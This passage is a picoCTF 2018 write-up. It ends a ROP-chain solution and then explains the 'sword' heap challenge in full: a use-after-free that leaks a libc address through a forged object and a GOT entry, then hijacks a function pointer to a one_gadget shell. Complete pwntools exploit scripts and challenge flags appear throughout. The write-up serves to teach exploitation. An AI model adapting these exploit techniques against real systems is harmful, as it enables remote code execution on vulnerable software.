p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
sh.sendline(p)
sh.interactive()
flag: picoCTF{rOp_yOuR_wAY_tO_AnTHinG_11555ee1}
sword
Problem
Can you spawn a shell and get the flag? Connect with nc 2018shell2.picoctf.com 32987
. Source. libc.so.6
Solution
Because this problem provides a libc library, our first step is to configure the binary so that it uses that specific library.
We will first download the ld
binary that goes along with the libc
library by connecting to the shell server:
❯ scp alanc@2018shell2.picoctf.com:/lib64/ld-linux-x86-64.so.2 .
Then we can use this handy tool to modify our binary:
./change_glibc ./sword ./libc.so.6 ./ld-linux-x86-64.so.2 ./test
Now, we have a new binary that uses the libc library provided, and we are ready to go.
First for our easy scripting later on, I will first define a few helper methods that deal with the different interactions:
from pwn import *
context.log_level = 'debug'
sh = remote('2018shell2.picoctf.com', 32987)
# sh = process('./test')
def forgeSword():
sh.sendlineafter('Quit.\n', '1')
def hardenSword(i, s):
sh.sendlineafter('Quit.\n', '5')
sh.sendlineafter('?\n', str(i))
sh.sendlineafter('?\n', '32')
sh.sendlineafter('.\n', s)
sh.sendlineafter('?\n', '-1')
def destroySword(i):
sh.sendlineafter('Quit.\n', '4')
sh.sendlineafter('?\n', str(i))
def useSword(i):
sh.sendlineafter('Quit.\n', '6')
sh.sendlineafter('?\n', str(i))
def mergeSword(i1, i2):
sh.sendlineafter('Quit.\n', '2')
sh.sendlineafter('?\n', str(i1))
sh.sendlineafter('?\n', str(i2))
Now, we can start thinking about our exploit plan. Basically, the exploit consist of two stages.
Stage one, we need to leak the libc
base address that is different each time due to aslr
. The way we are going to do this is by printing out one of the GOT entries that contains a libc address. The reason that we are leaking the GOT entry is because the location of the GOT is always the same even when aslr
is enabled.
By reading the source code of the program, we know that the malloc
is being used instead of calloc
and we can alocate either a sword_s
object or a char array onto the heap. For the char array, we have full control over the content of the heap chunk (although there have to be a null byte at the end). Because of these two conditions, we can forge our own sword_s
object on the heap. If we set sword_name
to point to a GOT entry and leave use_sword
pointing to hoo
, we will be able to leak out the libc address. Here is how this stage looks like in code:
read_GOT = 0x602040
read_offset = 0x004007b0
forgeSword()
hardenSword(0, 'a'*32)
destroySword(0)
forgeSword()
hardenSword(0, ('a'*8)+p64(read_GOT)[:-1])
destroySword(0)
forgeSword()
forgeSword()
useSword(0)
libc_base = u64(sh.recvuntil('.....')[12:-5].ljust(8, '\x00')) - read_offset + 3183968
Now with the libc base address in hand, we can move on to stage two which is to find somewhere to jump to that will give us a shell. We can use the tool one_gadget do just that:
$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
As you can see, we now have four addresses to choose from. But how can we call this address? Well, we can do something similar to stage one, but overwrite the use_sword
pointer instead. Then, when we call equip_sword
, the program will jump to the intended offset giving us the shell. Here is what this looks like in code:
one_gadget = 0xf1147
target = libc_base+one_gadget
print hex(libc_base)
print hex(target)
forgeSword()
hardenSword(2, 'a'*16+p64(target))
destroySword(2)
forgeSword()
forgeSword()
useSword(2)
sh.interactive()
Putting the two parts together, we now have a functional exploit that will give us a shell:
from pwn import *
context.log_level = 'debug'
sh = remote('2018shell2.picoctf.com', 32987)
# sh = process('./test')
read_GOT = 0x602040
read_offset = 0x004007b0
one_gadget = 0xf1147
def forgeSword():
sh.sendlineafter('Quit.\n', '1')
def hardenSword(i, s):
sh.sendlineafter('Quit.\n', '5')
sh.sendlineafter('?\n', str(i))
sh.sendlineafter('?\n', '32')
sh.sendlineafter('.\n', s)
sh.sendlineafter('?\n', '-1')
def destroySword(i):
sh.sendlineafter('Quit.\n', '4')
sh.sendlineafter('?\n', str(i))
def useSword(i):
sh.sendlineafter('Quit.\n', '6')
sh.sendlineafter('?\n', str(i))
def mergeSword(i1, i2):
sh.sendlineafter('Quit.\n', '2')
sh.sendlineafter('?\n', str(i1))
sh.sendlineafter('?\n', str(i2))
pause()
forgeSword()
hardenSword(0, 'a'*32)
destroySword(0)
forgeSword()
hardenSword(0, ('a'*8)+p64(read_GOT)[:-1])
destroySword(0)
forgeSword()
forgeSword()
useSword(0)
libc_base = u64(sh.recvuntil('.....')[12:-5].ljust(8, '\x00')) - read_offset + 3183968
target = libc_base+one_gadget
print hex(libc_base)
print hex(target)
forgeSword()
hardenSword(2, 'a'*16+p64(target))
destroySword(2)
forgeSword()
forgeSword()
useSword(2)
sh.interactive()
note that the exploit is not 100% reliable, and you might have to try a few times before it will work
flag: picoCTF{usE_aFt3R_fr3e_1s_aN_1ssu3_2e515e86}
Feel free to leave a comment if any of the challenges is not well explained.